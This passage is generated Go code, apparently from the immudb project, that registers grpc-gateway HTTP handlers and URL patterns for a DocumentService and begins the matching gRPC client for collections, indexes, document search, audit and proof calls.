runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } forward_DocumentService_InsertDocuments_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) }) mux.Handle("PUT", pattern_DocumentService_ReplaceDocuments_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { ctx, cancel := context.WithCancel(req.Context()) defer cancel() var stream runtime.ServerTransportStream ctx = grpc.NewContextWithServerTransportStream(ctx, &stream) inboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req) rctx, err := runtime.AnnotateIncomingContext(ctx, mux, req) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } resp, md, err := local_request_DocumentService_ReplaceDocuments_0(rctx, inboundMarshaler, server, req, pathParams) md.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer()) ctx = runtime.NewServerMetadataContext(ctx, md) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } forward_DocumentService_ReplaceDocuments_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) }) mux.Handle("POST", pattern_DocumentService_DeleteDocuments_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { ctx, cancel := context.WithCancel(req.Context()) defer cancel() var stream runtime.ServerTransportStream ctx = grpc.NewContextWithServerTransportStream(ctx, &stream) inboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req) rctx, err := runtime.AnnotateIncomingContext(ctx, mux, req) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } resp, md, err := local_request_DocumentService_DeleteDocuments_0(rctx, inboundMarshaler, server, req, pathParams) md.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer()) ctx = runtime.NewServerMetadataContext(ctx, md) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } forward_DocumentService_DeleteDocuments_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) }) mux.Handle("POST", pattern_DocumentService_SearchDocuments_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { ctx, cancel := context.WithCancel(req.Context()) defer cancel() var stream runtime.ServerTransportStream ctx = grpc.NewContextWithServerTransportStream(ctx, &stream) inboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req) rctx, err := runtime.AnnotateIncomingContext(ctx, mux, req) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } resp, md, err := local_request_DocumentService_SearchDocuments_0(rctx, inboundMarshaler, server, req, pathParams) md.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer()) ctx = runtime.NewServerMetadataContext(ctx, md) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } forward_DocumentService_SearchDocuments_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) }) mux.Handle("POST", pattern_DocumentService_SearchDocuments_1, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { ctx, cancel := context.WithCancel(req.Context()) defer cancel() var stream runtime.ServerTransportStream ctx = grpc.NewContextWithServerTransportStream(ctx, &stream) inboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req) rctx, err := runtime.AnnotateIncomingContext(ctx, mux, req) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } resp, md, err := local_request_DocumentService_SearchDocuments_1(rctx, inboundMarshaler, server, req, pathParams) md.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer()) ctx = runtime.NewServerMetadataContext(ctx, md) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } forward_DocumentService_SearchDocuments_1(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) }) mux.Handle("POST", pattern_DocumentService_CountDocuments_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { ctx, cancel := context.WithCancel(req.Context()) defer cancel() var stream runtime.ServerTransportStream ctx = grpc.NewContextWithServerTransportStream(ctx, &stream) inboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req) rctx, err := runtime.AnnotateIncomingContext(ctx, mux, req) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } resp, md, err := local_request_DocumentService_CountDocuments_0(rctx, inboundMarshaler, server, req, pathParams) md.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer()) ctx = runtime.NewServerMetadataContext(ctx, md) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } forward_DocumentService_CountDocuments_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) }) mux.Handle("POST", pattern_DocumentService_AuditDocument_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { ctx, cancel := context.WithCancel(req.Context()) defer cancel() var stream runtime.ServerTransportStream ctx = grpc.NewContextWithServerTransportStream(ctx, &stream) inboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req) rctx, err := runtime.AnnotateIncomingContext(ctx, mux, req) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } resp, md, err := local_request_DocumentService_AuditDocument_0(rctx, inboundMarshaler, server, req, pathParams) md.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer()) ctx = runtime.NewServerMetadataContext(ctx, md) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } forward_DocumentService_AuditDocument_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) }) mux.Handle("POST", pattern_DocumentService_ProofDocument_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { ctx, cancel := context.WithCancel(req.Context()) defer cancel() var stream runtime.ServerTransportStream ctx = grpc.NewContextWithServerTransportStream(ctx, &stream) inboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req) rctx, err := runtime.AnnotateIncomingContext(ctx, mux, req) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } resp, md, err := local_request_DocumentService_ProofDocument_0(rctx, inboundMarshaler, server, req, pathParams) md.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer()) ctx = runtime.NewServerMetadataContext(ctx, md) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } forward_DocumentService_ProofDocument_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) }) return nil } // RegisterDocumentServiceHandlerFromEndpoint is same as RegisterDocumentServiceHandler but // automatically dials to "endpoint" and closes the connection when "ctx" gets done. func RegisterDocumentServiceHandlerFromEndpoint(ctx context.Context, mux *runtime.ServeMux, endpoint string, opts []grpc.DialOption) (err error) { conn, err := grpc.Dial(endpoint, opts...) if err != nil { return err } defer func() { if err != nil { if cerr := conn.Close(); cerr != nil { grpclog.Infof("Failed to close conn to %s: %v", endpoint, cerr) } return } go func() { <-ctx.Done() if cerr := conn.Close(); cerr != nil { grpclog.Infof("Failed to close conn to %s: %v", endpoint, cerr) } }() }() return RegisterDocumentServiceHandler(ctx, mux, conn) } // RegisterDocumentServiceHandler registers the http handlers for service DocumentService to "mux". // The handlers forward requests to the grpc endpoint over "conn". func RegisterDocumentServiceHandler(ctx context.Context, mux *runtime.ServeMux, conn *grpc.ClientConn) error { return RegisterDocumentServiceHandlerClient(ctx, mux, NewDocumentServiceClient(conn)) } // RegisterDocumentServiceHandlerClient registers the http handlers for service DocumentService // to "mux". The handlers forward requests to the grpc endpoint over the given implementation of "DocumentServiceClient". // Note: the gRPC framework executes interceptors within the gRPC handler. If the passed in "DocumentServiceClient" // doesn't go through the normal gRPC flow (creating a gRPC client etc.) then it will be up to the passed in // "DocumentServiceClient" to call the correct interceptors. func RegisterDocumentServiceHandlerClient(ctx context.Context, mux *runtime.ServeMux, client DocumentServiceClient) error { mux.Handle("POST", pattern_DocumentService_CreateCollection_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { ctx, cancel := context.WithCancel(req.Context()) defer cancel() inboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req) rctx, err := runtime.AnnotateContext(ctx, mux, req) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } resp, md, err := request_DocumentService_CreateCollection_0(rctx, inboundMarshaler, client, req, pathParams) ctx = runtime.NewServerMetadataContext(ctx, md) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } forward_DocumentService_CreateCollection_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) }) mux.Handle("GET", pattern_DocumentService_GetCollections_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { ctx, cancel := context.WithCancel(req.Context()) defer cancel() inboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req) rctx, err := runtime.AnnotateContext(ctx, mux, req) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } resp, md, err := request_DocumentService_GetCollections_0(rctx, inboundMarshaler, client, req, pathParams) ctx = runtime.NewServerMetadataContext(ctx, md) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } forward_DocumentService_GetCollections_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) }) mux.Handle("GET", pattern_DocumentService_GetCollection_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { ctx, cancel := context.WithCancel(req.Context()) defer cancel() inboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req) rctx, err := runtime.AnnotateContext(ctx, mux, req) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } resp, md, err := request_DocumentService_GetCollection_0(rctx, inboundMarshaler, client, req, pathParams) ctx = runtime.NewServerMetadataContext(ctx, md) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } forward_DocumentService_GetCollection_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) }) mux.Handle("PUT", pattern_DocumentService_UpdateCollection_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { ctx, cancel := context.WithCancel(req.Context()) defer cancel() inboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req) rctx, err := runtime.AnnotateContext(ctx, mux, req) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } resp, md, err := request_DocumentService_UpdateCollection_0(rctx, inboundMarshaler, client, req, pathParams) ctx = runtime.NewServerMetadataContext(ctx, md) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } forward_DocumentService_UpdateCollection_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) }) mux.Handle("DELETE", pattern_DocumentService_DeleteCollection_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { ctx, cancel := context.WithCancel(req.Context()) defer cancel() inboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req) rctx, err := runtime.AnnotateContext(ctx, mux, req) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } resp, md, err := request_DocumentService_DeleteCollection_0(rctx, inboundMarshaler, client, req, pathParams) ctx = runtime.NewServerMetadataContext(ctx, md) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } forward_DocumentService_DeleteCollection_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) }) mux.Handle("POST", pattern_DocumentService_AddField_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { ctx, cancel := context.WithCancel(req.Context()) defer cancel() inboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req) rctx, err := runtime.AnnotateContext(ctx, mux, req) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } resp, md, err := request_DocumentService_AddField_0(rctx, inboundMarshaler, client, req, pathParams) ctx = runtime.NewServerMetadataContext(ctx, md) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } forward_DocumentService_AddField_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) }) mux.Handle("DELETE", pattern_DocumentService_RemoveField_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { ctx, cancel := context.WithCancel(req.Context()) defer cancel() inboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req) rctx, err := runtime.AnnotateContext(ctx, mux, req) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } resp, md, err := request_DocumentService_RemoveField_0(rctx, inboundMarshaler, client, req, pathParams) ctx = runtime.NewServerMetadataContext(ctx, md) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } forward_DocumentService_RemoveField_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) }) mux.Handle("POST", pattern_DocumentService_CreateIndex_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { ctx, cancel := context.WithCancel(req.Context()) defer cancel() inboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req) rctx, err := runtime.AnnotateContext(ctx, mux, req) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } resp, md, err := request_DocumentService_CreateIndex_0(rctx, inboundMarshaler, client, req, pathParams) ctx = runtime.NewServerMetadataContext(ctx, md) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } forward_DocumentService_CreateIndex_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) }) mux.Handle("DELETE", pattern_DocumentService_DeleteIndex_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { ctx, cancel := context.WithCancel(req.Context()) defer cancel() inboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req) rctx, err := runtime.AnnotateContext(ctx, mux, req) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } resp, md, err := request_DocumentService_DeleteIndex_0(rctx, inboundMarshaler, client, req, pathParams) ctx = runtime.NewServerMetadataContext(ctx, md) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } forward_DocumentService_DeleteIndex_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) }) mux.Handle("POST", pattern_DocumentService_InsertDocuments_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { ctx, cancel := context.WithCancel(req.Context()) defer cancel() inboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req) rctx, err := runtime.AnnotateContext(ctx, mux, req) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } resp, md, err := request_DocumentService_InsertDocuments_0(rctx, inboundMarshaler, client, req, pathParams) ctx = runtime.NewServerMetadataContext(ctx, md) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } forward_DocumentService_InsertDocuments_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) }) mux.Handle("PUT", pattern_DocumentService_ReplaceDocuments_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { ctx, cancel := context.WithCancel(req.Context()) defer cancel() inboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req) rctx, err := runtime.AnnotateContext(ctx, mux, req) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } resp, md, err := request_DocumentService_ReplaceDocuments_0(rctx, inboundMarshaler, client, req, pathParams) ctx = runtime.NewServerMetadataContext(ctx, md) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } forward_DocumentService_ReplaceDocuments_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) }) mux.Handle("POST", pattern_DocumentService_DeleteDocuments_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { ctx, cancel := context.WithCancel(req.Context()) defer cancel() inboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req) rctx, err := runtime.AnnotateContext(ctx, mux, req) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } resp, md, err := request_DocumentService_DeleteDocuments_0(rctx, inboundMarshaler, client, req, pathParams) ctx = runtime.NewServerMetadataContext(ctx, md) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } forward_DocumentService_DeleteDocuments_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) }) mux.Handle("POST", pattern_DocumentService_SearchDocuments_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { ctx, cancel := context.WithCancel(req.Context()) defer cancel() inboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req) rctx, err := runtime.AnnotateContext(ctx, mux, req) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } resp, md, err := request_DocumentService_SearchDocuments_0(rctx, inboundMarshaler, client, req, pathParams) ctx = runtime.NewServerMetadataContext(ctx, md) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } forward_DocumentService_SearchDocuments_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) }) mux.Handle("POST", pattern_DocumentService_SearchDocuments_1, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { ctx, cancel := context.WithCancel(req.Context()) defer cancel() inboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req) rctx, err := runtime.AnnotateContext(ctx, mux, req) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } resp, md, err := request_DocumentService_SearchDocuments_1(rctx, inboundMarshaler, client, req, pathParams) ctx = runtime.NewServerMetadataContext(ctx, md) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } forward_DocumentService_SearchDocuments_1(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) }) mux.Handle("POST", pattern_DocumentService_CountDocuments_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { ctx, cancel := context.WithCancel(req.Context()) defer cancel() inboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req) rctx, err := runtime.AnnotateContext(ctx, mux, req) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } resp, md, err := request_DocumentService_CountDocuments_0(rctx, inboundMarshaler, client, req, pathParams) ctx = runtime.NewServerMetadataContext(ctx, md) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } forward_DocumentService_CountDocuments_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) }) mux.Handle("POST", pattern_DocumentService_AuditDocument_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { ctx, cancel := context.WithCancel(req.Context()) defer cancel() inboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req) rctx, err := runtime.AnnotateContext(ctx, mux, req) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } resp, md, err := request_DocumentService_AuditDocument_0(rctx, inboundMarshaler, client, req, pathParams) ctx = runtime.NewServerMetadataContext(ctx, md) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } forward_DocumentService_AuditDocument_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) }) mux.Handle("POST", pattern_DocumentService_ProofDocument_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { ctx, cancel := context.WithCancel(req.Context()) defer cancel() inboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req) rctx, err := runtime.AnnotateContext(ctx, mux, req) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } resp, md, err := request_DocumentService_ProofDocument_0(rctx, inboundMarshaler, client, req, pathParams) ctx = runtime.NewServerMetadataContext(ctx, md) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } forward_DocumentService_ProofDocument_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) }) return nil } var ( pattern_DocumentService_CreateCollection_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 1, 0, 4, 1, 5, 1}, []string{"collection", "name"}, "", runtime.AssumeColonVerbOpt(true))) pattern_DocumentService_GetCollections_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0}, []string{"collections"}, "", runtime.AssumeColonVerbOpt(true))) pattern_DocumentService_GetCollection_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 1, 0, 4, 1, 5, 1}, []string{"collection", "name"}, "", runtime.AssumeColonVerbOpt(true))) pattern_DocumentService_UpdateCollection_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 1, 0, 4, 1, 5, 1}, []string{"collection", "name"}, "", runtime.AssumeColonVerbOpt(true))) pattern_DocumentService_DeleteCollection_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 1, 0, 4, 1, 5, 1}, []string{"collection", "name"}, "", runtime.AssumeColonVerbOpt(true))) pattern_DocumentService_AddField_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 1, 0, 4, 1, 5, 1, 2, 2}, []string{"collection", "collectionName", "field"}, "", runtime.AssumeColonVerbOpt(true))) pattern_DocumentService_RemoveField_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 1, 0, 4, 1, 5, 1, 2, 2, 1, 0, 4, 1, 5, 3}, []string{"collection", "collectionName", "field", "fieldName"}, "", runtime.AssumeColonVerbOpt(true))) pattern_DocumentService_CreateIndex_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 1, 0, 4, 1, 5, 1, 2, 2}, []string{"collection", "collectionName", "index"}, "", runtime.AssumeColonVerbOpt(true))) pattern_DocumentService_DeleteIndex_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 1, 0, 4, 1, 5, 1, 2, 2}, []string{"collection", "collectionName", "index"}, "", runtime.AssumeColonVerbOpt(true))) pattern_DocumentService_InsertDocuments_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 1, 0, 4, 1, 5, 1, 2, 2}, []string{"collection", "collectionName", "documents"}, "", runtime.AssumeColonVerbOpt(true))) pattern_DocumentService_ReplaceDocuments_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 1, 0, 4, 1, 5, 1, 2, 2, 2, 3}, []string{"collection", "query.collectionName", "documents", "replace"}, "", runtime.AssumeColonVerbOpt(true))) pattern_DocumentService_DeleteDocuments_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 1, 0, 4, 1, 5, 1, 2, 2, 2, 3}, []string{"collection", "query.collectionName", "documents", "delete"}, "", runtime.AssumeColonVerbOpt(true))) pattern_DocumentService_SearchDocuments_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 1, 0, 4, 1, 5, 1, 2, 2, 2, 3}, []string{"collection", "query.collectionName", "documents", "search"}, "", runtime.AssumeColonVerbOpt(true))) pattern_DocumentService_SearchDocuments_1 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 2, 1, 2, 2, 1, 0, 4, 1, 5, 3}, []string{"collection", "documents", "search", "searchId"}, "", runtime.AssumeColonVerbOpt(true))) pattern_DocumentService_CountDocuments_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 1, 0, 4, 1, 5, 1, 2, 2, 2, 3}, []string{"collection", "query.collectionName", "documents", "count"}, "", runtime.AssumeColonVerbOpt(true))) pattern_DocumentService_AuditDocument_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 1, 0, 4, 1, 5, 1, 2, 2, 1, 0, 4, 1, 5, 3, 2, 4}, []string{"collection", "collectionName", "document", "documentId", "audit"}, "", runtime.AssumeColonVerbOpt(true))) pattern_DocumentService_ProofDocument_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 1, 0, 4, 1, 5, 1, 2, 2, 1, 0, 4, 1, 5, 3, 2, 4}, []string{"collection", "collectionName", "document", "documentId", "proof"}, "", runtime.AssumeColonVerbOpt(true))) ) var ( forward_DocumentService_CreateCollection_0 = runtime.ForwardResponseMessage forward_DocumentService_GetCollections_0 = runtime.ForwardResponseMessage forward_DocumentService_GetCollection_0 = runtime.ForwardResponseMessage forward_DocumentService_UpdateCollection_0 = runtime.ForwardResponseMessage forward_DocumentService_DeleteCollection_0 = runtime.ForwardResponseMessage forward_DocumentService_AddField_0 = runtime.ForwardResponseMessage forward_DocumentService_RemoveField_0 = runtime.ForwardResponseMessage forward_DocumentService_CreateIndex_0 = runtime.ForwardResponseMessage forward_DocumentService_DeleteIndex_0 = runtime.ForwardResponseMessage forward_DocumentService_InsertDocuments_0 = runtime.ForwardResponseMessage forward_DocumentService_ReplaceDocuments_0 = runtime.ForwardResponseMessage forward_DocumentService_DeleteDocuments_0 = runtime.ForwardResponseMessage forward_DocumentService_SearchDocuments_0 = runtime.ForwardResponseMessage forward_DocumentService_SearchDocuments_1 = runtime.ForwardResponseMessage forward_DocumentService_CountDocuments_0 = runtime.ForwardResponseMessage forward_DocumentService_AuditDocument_0 = runtime.ForwardResponseMessage forward_DocumentService_ProofDocument_0 = runtime.ForwardResponseMessage ) ================================================ FILE: pkg/api/protomodel/documents_grpc.pb.go ================================================ // Code generated by protoc-gen-go-grpc. DO NOT EDIT. package protomodel import ( context "context" grpc "google.golang.org/grpc" codes "google.golang.org/grpc/codes" status "google.golang.org/grpc/status" ) // This is a compile-time assertion to ensure that this generated file // is compatible with the grpc package it is being compiled against. // Requires gRPC-Go v1.32.0 or later. const _ = grpc.SupportPackageIsVersion7 // DocumentServiceClient is the client API for DocumentService service. // // For semantics around ctx use and closing/ending streaming RPCs, please refer to https://pkg.go.dev/google.golang.org/grpc/?tab=doc#ClientConn.NewStream. type DocumentServiceClient interface { CreateCollection(ctx context.Context, in *CreateCollectionRequest, opts ...grpc.CallOption) (*CreateCollectionResponse, error) GetCollections(ctx context.Context, in *GetCollectionsRequest, opts ...grpc.CallOption) (*GetCollectionsResponse, error) GetCollection(ctx context.Context, in *GetCollectionRequest, opts ...grpc.CallOption) (*GetCollectionResponse, error) UpdateCollection(ctx context.Context, in *UpdateCollectionRequest, opts ...grpc.CallOption) (*UpdateCollectionResponse, error) DeleteCollection(ctx context.Context, in *DeleteCollectionRequest, opts ...grpc.CallOption) (*DeleteCollectionResponse, error) AddField(ctx context.Context, in *AddFieldRequest, opts ...grpc.CallOption) (*AddFieldResponse, error) RemoveField(ctx context.Context, in *RemoveFieldRequest, opts ...grpc.CallOption) (*RemoveFieldResponse, error) CreateIndex(ctx context.Context, in *CreateIndexRequest, opts ...grpc.CallOption) (*CreateIndexResponse, error) DeleteIndex(ctx context.Context, in *DeleteIndexRequest, opts ...grpc.CallOption) (*DeleteIndexResponse, error) InsertDocuments(ctx context.Context, in *InsertDocumentsRequest, opts ...grpc.CallOption) (*InsertDocumentsResponse, error) ReplaceDocuments(ctx context.Context, in *ReplaceDocumentsRequest, opts ...grpc.CallOption) (*ReplaceDocumentsResponse, error) DeleteDocuments(ctx context.Context, in *DeleteDocumentsRequest, opts ...grpc.CallOption) (*DeleteDocumentsResponse, error) SearchDocuments(ctx context.Context, in *SearchDocumentsRequest, opts ...grpc.CallOption) (*SearchDocumentsResponse, error) CountDocuments(ctx context.Context, in *CountDocumentsRequest, opts ...grpc.CallOption) (*CountDocumentsResponse, error) AuditDocument(ctx context.Context, in *AuditDocumentRequest, opts ...grpc.CallOption) (*AuditDocumentResponse, error) ProofDocument(ctx context.Context, in *ProofDocumentRequest, opts ...grpc.CallOption) (*ProofDocumentResponse, error) } type documentServiceClient struct { cc grpc.ClientConnInterface } func NewDocumentServiceClient(cc grpc.ClientConnInterface) DocumentServiceClient { return &documentServiceClient{cc} } func (c *documentServiceClient) CreateCollection(ctx context.Context, in *CreateCollectionRequest, opts ...grpc.CallOption) (*CreateCollectionResponse, error) { out := new(CreateCollectionResponse) err := c.cc.Invoke(ctx, "/immudb.model.DocumentService/CreateCollection", in, out, opts...) if err != nil { return nil, err } return out, nil } func (c *documentServiceClient) GetCollections(ctx context.Context, in *GetCollectionsRequest, opts ...grpc.CallOption) (*GetCollectionsResponse, error) { out := new(GetCollectionsResponse) err := c.cc.Invoke(ctx, "/immudb.model.DocumentService/GetCollections", in, out, opts...) if err != nil { return nil, err } return out, nil } func (c *documentServiceClient) GetCollection(ctx context.Context, in *GetCollectionRequest, opts ...grpc.CallOption) (*GetCollectionResponse, error) { out := new(GetCollectionResponse) err := c.cc.Invoke(ctx, "/immudb.model.DocumentService/GetCollection", in, out, opts...) if err != nil { return nil, err } return out, nil } func (c *documentServiceClient) UpdateCollection(ctx context.Context, in *UpdateCollectionRequest, opts ...grpc.CallOption) (*UpdateCollectionResponse, error) { out := new(UpdateCollectionResponse) err := c.cc.Invoke(ctx, "/immudb.model.DocumentService/UpdateCollection", in, out, opts...) if err != nil { return nil, err } return out, nil } func (c *documentServiceClient) DeleteCollection(ctx context.Context, in *DeleteCollectionRequest, opts ...grpc.CallOption) (*DeleteCollectionResponse, error) { out := new(DeleteCollectionResponse) err := c.cc.Invoke(ctx, 